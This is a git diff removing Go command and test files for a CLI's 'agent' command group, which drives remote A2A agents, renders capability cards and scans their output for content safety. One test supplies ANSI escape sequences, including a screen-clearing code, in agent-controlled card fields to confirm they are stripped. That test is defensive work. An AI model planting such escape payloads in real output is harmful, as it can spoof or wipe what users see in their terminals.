-// then add one line to the slice below.
-package agent
-
-import (
-	"github.com/larksuite/cli/agent/example"
-	iagent "github.com/larksuite/cli/internal/agent"
-)
-
-func init() {
-	for _, p := range []iagent.Provider{
-		example.Provider(),
-	} {
-		iagent.Register(p)
-	}
-}
--- a/cmd/agent/agent.go
+++ b/cmd/agent/agent.go
@@ -1,29 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/internal/cmdutil"
-)
-
-// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
-// that drives remote A2A agents with constant verbs. It is a pure group with
-// no RunE, so an unknown subcommand is reported rather than silently
-// swallowed. All five verbs (list/card/send/task/context) are wired here; task
-// and context are themselves nested groups.
-func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "agent",
-		Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
-		Long:  "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
-	}
-	cmd.AddCommand(NewCmdAgentList(f))
-	cmd.AddCommand(NewCmdAgentCard(f))
-	cmd.AddCommand(NewCmdAgentSend(f, nil))
-	cmd.AddCommand(NewCmdAgentTask(f))
-	cmd.AddCommand(NewCmdAgentContext(f))
-	return cmd
-}
--- a/cmd/agent/agent_test.go
+++ b/cmd/agent/agent_test.go
@@ -1,34 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "testing"
-
-// TestAgentCommandTree pins the shape of the `agent` command tree: the group
-// itself must have no RunE/Run (a bare group whose unknown subcommands surface
-// an error rather than being silently swallowed), and it must expose all five
-// verbs plus the nested task/context sub-groups.
-func TestAgentCommandTree(t *testing.T) {
-	cmd := NewCmdAgent(nil)
-	if cmd.RunE != nil || cmd.Run != nil {
-		t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
-	}
-	want := []string{"list", "card", "send", "task", "context"}
-	for _, name := range want {
-		if findSub(cmd, name) == nil {
-			t.Errorf("missing subcommand %s", name)
-		}
-	}
-	// task/context are nested groups
-	if task := findSub(cmd, "task"); task == nil {
-		t.Error("missing agent task group")
-	} else if findSub(task, "get") == nil {
-		t.Error("missing agent task get")
-	}
-	if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
-		t.Error("missing agent context group")
-	} else if findSub(ctxCmd, "delete") == nil {
-		t.Error("missing agent context delete")
-	}
-}
--- a/cmd/agent/card.go
+++ b/cmd/agent/card.go
@@ -1,183 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"io"
-	"strings"
-
-	"github.com/spf13/cobra"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// cardOptions holds all inputs for `agent card <ref>`.
-type cardOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Ref     string
-	As      string
-	Format  string
-}
-
-// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
-// capability card. Adapters synthesize the card statically from their known
-// capability matrix — no API call is made, and the command works offline /
-// under mock. Risk=read.
-func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
-	opts := &cardOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "card <agent_ref>",
-		Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
-		Long:  "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentCardRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
-	} else {
-		// f is nil only in construction-time unit tests; register a bare --as so
-		// the flag surface is still assertable without a Factory.
-		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
-	}
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// agentCardRun resolves the provider addressed by ref and emits its capability
-// card. The card is first-party static data (not agent-generated content), so
-// it bypasses content-safety scanning. The JSON success envelope is the
-// default; --format pretty opts into the human-readable listing. A --jq
-// expression forces JSON (jq operates on the envelope) and, when present,
-// filters stdout.
-func agentCardRun(opts *cardOptions) error {
-	f := opts.Factory
-	// Resolution is fully offline (no client), so `agent card` works before
-	// config init. The capability matrix + static metadata are always available.
-	prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Best-effort remote enrichment: if a client is configured, pass a runtime so
-	// a provider's Describe can fill Name/Description from the platform; otherwise
-	// rt stays nil and BuildCard returns the offline (caps + static) card.
-	var rt iagent.Runtime
-	if r, rerr := runtimeFor(f, id, agentID); rerr == nil {
-		rt = r
-	}
-	card := iagent.BuildCard(opts.Cmd.Context(), prov, spec, agentID, rt)
-
-	jq := jqExpr(opts.Cmd)
-	// pretty is a human view only; a --jq expression implies structured JSON,
-	// so it takes precedence over the pretty format.
-	if opts.Format == "pretty" && jq == "" {
-		printCardPretty(f.IOStreams.Out, card)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     card,
-		Notice:   output.GetNotice(),
-	}
-	if jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// printCardPretty writes a compact human-readable view of an agent card:
-// identity header (with per-identity preconditions), the sorted capability
-// matrix, declared parameters and skills — the key constraints an AI reads
-// from json must also be visible to a human. Remote cards carry
-// agent-controlled Name/Description/Desc
-// strings, so every such field is ANSI-stripped before hitting the terminal.
-// Nil cards degrade to a placeholder line rather than panicking.
-func printCardPretty(w io.Writer, card *iagent.AgentCard) {
-	if card == nil {
-		fmt.Fprintln(w, "(no card)")
-		return
-	}
-	// Dynamic cards carry a Name; static cards fall back to the provider label.
-	name := card.Name
-	if name == "" {
-		name = card.ProviderLabel
-	}
-	fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
-	if card.Description != "" {
-		fmt.Fprintf(w, "  %s\n", stripANSI(card.Description))
-	}
-	if len(card.Identity) > 0 {
-		ids := make([]string, 0, len(card.Identity))
-		for _, spec := range card.Identity {
-			id := string(spec.Type)
-			if spec.Precondition != "" {
-				id += "（前置: " + stripANSI(spec.Precondition) + "）"
-			}
-			ids = append(ids, id)
-		}
-		fmt.Fprintf(w, "  identity: %s\n", strings.Join(ids, ", "))
-	}
-
-	fmt.Fprintln(w, "  capabilities:")
-	// Capabilities is a closed struct; iterate in fixed alphabetical key order,
-	// matching the sorted output of the earlier map-based representation.
-	for _, k := range []string{
-		iagent.CapArtifactDownload,
-		iagent.CapContextDelete,
-		iagent.CapContextGet,
-		iagent.CapContextList,
-		iagent.CapFileInput,
-		iagent.CapInputRequired,
-		iagent.CapTaskCancel,
-		iagent.CapTaskGet,
-		iagent.CapTaskList,
-	} {
-		mark := "no"
-		if card.Supports(k) {
-			mark = "yes"
-		}
-		fmt.Fprintf(w, "    %-20s %s\n", k, mark)
-	}
-
-	if len(card.Parameters) > 0 {
-		fmt.Fprintln(w, "  parameters:")
-		for _, pr := range card.Parameters {
-			req := ""
-			if pr.Required {
-				req = " (required)"
-			}
-			fmt.Fprintf(w, "    %s: %s%s", pr.Name, pr.Type, req)
-			if pr.Desc != "" {
-				fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
-			}
-			fmt.Fprintln(w)
-		}
-	}
-
-	if len(card.Skills) > 0 {
-		fmt.Fprintln(w, "  skills:")
-		for _, sk := range card.Skills {
-			name := sk.Name
-			if name == "" {
-				name = sk.ID
-			}
-			fmt.Fprintf(w, "    %s\n", stripANSI(name))
-		}
-	}
-}
--- a/cmd/agent/card_test.go
+++ b/cmd/agent/card_test.go
@@ -1,286 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// cardTestOpts builds a cardOptions driving agentCardRun against a real
-// (test) Factory. The example card is synthesized statically, so no API call
-// is made and stdout carries the capability card envelope.
-func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
-	t.Helper()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
-	return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
-}
-
-// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
-// returns the statically synthesized capability card (no API), with
-// task_cancel gated off and the three context_* caps on, and the agent_id
-// echoed from the ref.
-func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card should be statically synthesized and not error: %v", err)
-	}
-
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v", err)
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	data, ok := env.Data.(map[string]interface{})
-	if !ok {
-		t.Fatalf("data should be a card object, got %T", env.Data)
-	}
-	if data["agent_id"] != "echo" {
-		t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
-	}
-	if data["provider"] != "example" {
-		t.Errorf("provider should be example, got %v", data["provider"])
-	}
-	// source was removed from the card (schema tightening).
-	if _, present := data["source"]; present {
-		t.Errorf("card should no longer carry a source field, got %v", data["source"])
-	}
-	caps, ok := data["capabilities"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
-	}
-	if caps["task_cancel"] != false {
-		t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
-	}
-	if caps["context_list"] != true || caps["context_get"] != true || caps["context_delete"] != true {
-		t.Errorf("echo should support the three context capabilities, got %v", caps)
-	}
-	// parameters / identity must serialize as non-null (guard against omitempty
-	// regression): parameters is always an array (empty [] for example),
-	// identity is a non-empty array.
-	if params, ok := data["parameters"].([]interface{}); !ok {
-		t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
-	} else if len(params) != 0 {
-		t.Errorf("example parameters should be an empty array, got %v", params)
-	}
-	if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
-		t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
-	}
-	// card no longer exposes scope: the required_scopes field was removed from
-	// AgentCard (scope is an internal registration item used only for preflight).
-	if _, present := data["required_scopes"]; present {
-		t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
-	}
-}
-
-// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
-// since the json default flip), the card renders as a human-readable listing.
-// The output must surface the identity and capability names in plain text so
-// the stream is not valid envelope JSON.
-func TestAgentCardRun_PrettyFormat(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	opts.Format = "pretty"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card pretty should not error: %v", err)
-	}
-
-	text := string(out.Bytes())
-	// A pretty rendering is human text, not a JSON envelope.
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
-	}
-	if !strings.Contains(text, "echo") {
-		t.Errorf("pretty output should contain agent_id: %s", text)
-	}
-	// context_list is a declared capability of the echo card; it must appear.
-	if !strings.Contains(text, "context_list") {
-		t.Errorf("pretty output should list capabilities: %s", text)
-	}
-}
-
-// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
-func TestAgentCardRun_JSONFormat(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	opts.Format = "json"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card json should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-}
-
-// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
-// --jq flag must actually be REGISTERED on `agent card` (the run path already
-// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
-// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
-// the real command so registration + consumption are proven together.
-func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := NewCmdAgentCard(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetContext(context.Background())
-	cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("card --jq should not error: %v", err)
-	}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-	got := strings.TrimSpace(string(out.Bytes()))
-	if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
-	}
-}
-
-// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
-// line instead of panicking (card.go nil branch).
-func TestPrintCardPretty_NilCard(t *testing.T) {
-	out := &bytes.Buffer{}
-	printCardPretty(out, nil)
-	if !strings.Contains(out.String(), "(no card)") {
-		t.Errorf("nil card should print a placeholder line, got: %q", out.String())
-	}
-}
-
-// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
-// the pretty renderer that a minimal static card omits: the dynamic-card Name
-// (taking precedence over ProviderLabel), Description, declared Parameters, and
-// the Skills block (both the named skill and the id-fallback when Name is empty).
-func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:      "demo",
-		ProviderLabel: "demo 自定义智能体",
-		Name:          "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
-		AgentID:       "agt_demo",
-		Description:   "a helpful demo agent",
-		Identity: []iagent.IdentitySpec{
-			{Type: "user"},
-			{Type: "bot", Precondition: "需加入渠道白名单"},
-		},
-		Capabilities: iagent.Capabilities{
-			ContextList: true,
-			TaskCancel:  false,
-		},
-		Parameters: []iagent.CardParam{
-			{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
-		},
-		Skills: []iagent.CardSkill{
-			{ID: "sk_1", Name: "Sales Analysis"},
-			{ID: "sk_2"}, // no Name → falls back to ID
-		},
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	text := out.String()
-
-	for _, want := range []string{
-		"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
-		"a helpful demo agent",  // Description branch
-		"identity: user, bot",   // IdentitySpec types are joined
-		"需加入渠道白名单",              // identity precondition must be visible in pretty (Task 11 wrap-up)
-		"locale",                // Parameters branch
-		"skills:",               // Skills block header
-		"Sales Analysis",        // skill with a Name
-		"sk_2",                  // skill without a Name → id fallback
-	} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-}
-
-// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
-// agent-controlled Name/Description cannot smuggle ANSI escapes to the
-// terminal (this sanitization is applied to every pretty surface).
-func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:    "demo",
-		AgentID:     "agt_demo",
-		Name:        "\x1b[31mEvil\x1b[0m Agent",
-		Description: "desc\x1b[2Jwipe",
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	text := out.String()
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
-	}
-	if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
-		t.Errorf("readable text should remain after stripping, got: %q", text)
-	}
-}
-
-// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
-// (no dynamic Name) renders its ProviderLabel as the header.
-func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:      "demo",
-		ProviderLabel: "demo 自定义智能体",
-		AgentID:       "agt_demo",
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
-		t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
-	}
-}
-
-// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
-// before any provider is built.
-func TestAgentCardRun_InvalidRef(t *testing.T) {
-	opts, _ := cardTestOpts(t, "no-colon")
-	if err := agentCardRun(opts); err == nil {
-		t.Fatal("malformed ref should error")
-	}
-}
-
-// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
-// presence of --format and --as flags.
-func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
-	cmd := NewCmdAgentCard(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("agent card with a single ref should be valid: %v", err)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil {
-		t.Fatal("agent card should have a --format flag")
-	}
-	// Default output format is unified: card default flips from pretty to json.
-	if fl.DefValue != "json" {
-		t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
-	}
-	if cmd.Flags().Lookup("as") == nil {
-		t.Error("agent card should have an --as flag")
-	}
-}
--- a/cmd/agent/common.go
+++ b/cmd/agent/common.go
@@ -1,355 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agent implements the `agent` command tree: a provider-agnostic
-// surface over remote A2A agents. This file holds the shared
-// command-layer helpers: ref→provider resolution, --param validation against a
-// Card, success-envelope emission, capability gating, and wait/watch polling.
-package agent
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"io"
-	"strings"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// supportedIdentities is the identity whitelist enforced for every agent
-// command; provider cards advertise (a subset of) the same set.
-var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
-
-// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
-// until ctx is done, returning true if the full duration elapsed and false if
-// ctx was canceled first. Tests swap it for a no-op.
-var sleep = func(ctx context.Context, d time.Duration) bool {
-	t := time.NewTimer(d)
-	defer t.Stop()
-	select {
-	case <-t.C:
-		return true
-	case <-ctx.Done():
-		return false
-	}
-}
-
-// resolveSpec is the fully-offline resolution path: it resolves the effective
-// identity, enforces the user|bot whitelist, and looks up the AgentSpec
-// addressed by ref — WITHOUT constructing a client or touching the network. It
-// is the FIRST step of every verb, so a malformed ref, an unknown scheme /
-// unknown catalog id, AND a capability gate all surface at exit 2 BEFORE the
-// config gate — an unconfigured user still gets the precise error, not
-// not_configured. A real API verb then calls runtimeFor to build the client.
-func resolveSpec(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagent.Provider, *iagent.AgentSpec, string, core.Identity, error) {
-	id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
-	if err := f.CheckIdentity(id, supportedIdentities); err != nil {
-		return iagent.Provider{}, nil, "", "", err
-	}
-	prov, spec, agentID, err := iagent.LookupSpec(ref)
-	if err != nil {
-		// ParseRef / unknown-scheme / unknown-id errors carry the validation
-		// wording; promote them to a typed validation error (with a recovery hint)
-		// so RunE never returns a bare error and the exit code / subtype are stable.
-		return iagent.Provider{}, nil, "", "", wrapRefResolveError(err)
-	}
-	return prov, spec, agentID, id, nil
-}
-
-// runtimeFor builds the identity-pinned Runtime for a verb that actually calls
-// the remote API. It requires a configured client (not_configured / exit 3 here
-// is correct for a real API call). agentID is the resolved agent this call
-// addresses (from the ref), exposed to hooks via rt.AgentID().
-func runtimeFor(f *cmdutil.Factory, id core.Identity, agentID string) (iagent.Runtime, error) {
-	apiClient, err := f.NewAPIClient()
-	if err != nil {
-		return nil, err
-	}
-	return &cmdRuntime{client: apiClient, as: id, agentID: agentID}, nil
-}
-
-// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
-// validation typed error (subtype invalid_argument, exit 2) and attaches the
-// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
-// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
-// shape; an unknown scheme points at `agent list` to discover the available
-// providers. Both hints are copy-pasteable next steps, not just wording.
-func wrapRefResolveError(err error) error {
-	// LookupSpec's unknown-catalog-id case is ALREADY a typed validation error
-	// carrying a scheme-scoped hint (`agent list <scheme>`); pass it through
-	// instead of flattening it via err.Error() and overwriting that hint with the
-	// generic provider-list one. Only the untyped ParseRef sentinel / unknown-
-	// scheme errors need wrapping.
-	if _, ok := errs.ProblemOf(err); ok {
-		return err
-	}
-	e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
-	if errors.Is(err, iagent.ErrInvalidRef) {
-		return e.WithHint("agent_ref 形如 <scheme>:<agent_id>，如 example:echo")
-	}
-	return e.WithHint("用 lark-cli agent list 查看可用 provider")
-}
-
-// cardHint builds the "check the agent card" hint. The ref is user-echoed
-// input: when it passes the safeNextRef whitelist the hint carries the
-// copy-pasteable command; otherwise it degrades to plain guidance without any
-// interpolated command (a ref containing spaces would make the command
-// non-copy-pasteable, and the hint is what an AI copies verbatim).
-func cardHint(ref, what string) string {
-	if safeNextRef(ref) {
-		return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
-	}
-	return fmt.Sprintf("查看该 agent 的能力卡片（agent card 命令）确认%s", what)
-}
-
-// parseAndValidateParams parses `key=value` --param pairs and validates them
-// against the card's Parameters declaration: every Required parameter must be
-// present, and every provided key must be declared (an undeclared key
-// would otherwise be silently dropped by the provider). A pair without '=' (or
-// an empty key), a missing required parameter, or an unknown key returns a
-// validation typed error (subtype invalid_argument, param "param:<key>")
-// whose hint points at `agent card <ref>`. A nil card skips both
-// card-driven checks.
-func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
-	m := make(map[string]string, len(kvs))
-	for _, kv := range kvs {
-		k, v, ok := strings.Cut(kv, "=")
-		if !ok || k == "" {
-			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"--param 格式应为 key=value，得到 %q", kv).
-				WithParam("--param").
-				WithHint("以 --param key=value 形式重发")
-		}
-		m[k] = v
-	}
-	if card != nil {
-		declared := make(map[string]bool, len(card.Parameters))
-		for _, p := range card.Parameters {
-			declared[p.Name] = true
-		}
-		// Unknown keys are checked in input order so the reported key is
-		// deterministic when several are undeclared.
-		for _, kv := range kvs {
-			k, _, _ := strings.Cut(kv, "=")
-			if !declared[k] {
-				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"未知参数 %s（该 agent 未声明此参数）", k).
-					WithParam("param:"+k).
-					WithHint("%s", cardHint(ref, " parameters 声明"))
-			}
-		}
-		for _, p := range card.Parameters {
-			if !p.Required {
-				continue
-			}
-			if _, ok := m[p.Name]; !ok {
-				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"缺少必填参数 %s（该 agent 要求）", p.Name).
-					WithParam("param:"+p.Name).
-					WithHint("%s", cardHint(ref, " parameters 声明"))
-			}
-		}
-	}
-	return m, nil
-}
-
-// emitTask writes a task result: the standard success envelope carrying
-// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
-// the key:value human view. Because the agent's messages/artifacts are
-// untrusted external content, the payload is run through content-safety
-// scanning before emission on BOTH paths (and the pretty path additionally
-// ANSI-strips agent text). A --jq expression, when the leaf command registers
-// one, implies structured JSON and filters stdout.
-func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
-	out := f.IOStreams.Out
-	errOut := f.IOStreams.ErrOut
-
-	scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
-	if scan.Blocked {
-		return scan.BlockErr
-	}
-
-	if format == "pretty" && jqExpr(cmd) == "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		printTaskPretty(out, task)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data:     task,
-		Notice:   output.GetNotice(),
-	}
-	if len(next) > 0 {
-		env.Meta = &output.Meta{Next: next}
-	}
-	if scan.Alert != nil {
-		env.ContentSafetyAlert = scan.Alert
-	}
-
-	if jq := jqExpr(cmd); jq != "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		return output.JqFilter(out, env, jq)
-	}
-	output.PrintJson(out, env)
-	return nil
-}
-
-// scanAndEmitData is the shared scan-then-emit path for the read leaves whose
-// payload now carries untrusted agent-authored text — task list
-// (TaskSummary.Summary), context list, and context get
-// (ContextDetail.ActiveTask.Summary). These used to PrintJson directly and so
-// BYPASSED content-safety; like emitTask they now run output.ScanForSafety on
-// the payload BEFORE emission on every path: a block returns the typed block
-// error, a warn attaches the alert to the JSON envelope (and prints a stderr
-// warning on the pretty / jq paths). data is the Envelope.Data payload (and what
-// is scanned); meta is an optional *output.Meta (list count, nil for a single
-// detail); pretty renders the --format pretty human view and is skipped when a
-// --jq expression forces structured JSON.
-func scanAndEmitData(f *cmdutil.Factory, cmd *cobra.Command, format string, data any, meta *output.Meta, pretty func(io.Writer)) error {
-	out := f.IOStreams.Out
-	errOut := f.IOStreams.ErrOut
-
-	scan := output.ScanForSafety(cmd.CommandPath(), data, errOut)
-	if scan.Blocked {
-		return scan.BlockErr
-	}
-
-	if format == "pretty" && jqExpr(cmd) == "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		pretty(out)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data:     data,
-		Meta:     meta,
-		Notice:   output.GetNotice(),
-	}
-	if scan.Alert != nil {
-		env.ContentSafetyAlert = scan.Alert
-	}
-	if jq := jqExpr(cmd); jq != "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		return output.JqFilter(out, env, jq)
-	}
-	output.PrintJson(out, env)
-	return nil
-}
-
-// jqExpr reads the --jq flag value if the leaf command registered one; absent
-// otherwise.
-func jqExpr(cmd *cobra.Command) string {
-	if cmd == nil { // options structs built directly in tests may carry no Cmd
-		return ""
-	}
-	if f := cmd.Flags().Lookup("jq"); f != nil {
-		return f.Value.String()
-	}
-	return ""
-}
-
-// capabilityError returns the unsupported_capability validation error (exit 2)
-// used for capability gating: capHuman is the human-facing action (e.g.
-// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
-// interpolates ref only when it passes the whitelist (cardHint).
-func capabilityError(ref, capHuman, capKey string) error {
-	return errs.NewValidationError(
-		errs.SubtypeUnsupportedCapability,
-		"agent '%s' 不支持 '%s'（capability %s=false）", ref, capHuman, capKey,
-	).WithHint("%s", cardHint(ref, "支持的能力"))
-}
-
-// normalizeTask derives the redundant IsTerminal flag from State — the single
-// source of truth — the moment a task enters the command layer, so a provider
-// that forgets (or mis-fills) the flag can never skew watch exit codes or an
-// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
-func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
-	if t != nil {
-		t.IsTerminal = t.State.IsTerminal()
-	}
-	return t
-}
-
-// normalizeTaskSummaries derives IsTerminal from State for every summary (same
-// single-source rule as normalizeTask), returning the slice for chaining.
-func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
-	for i := range ts {
-		ts[i].IsTerminal = ts[i].State.IsTerminal()
-	}
-	return ts
-}
-
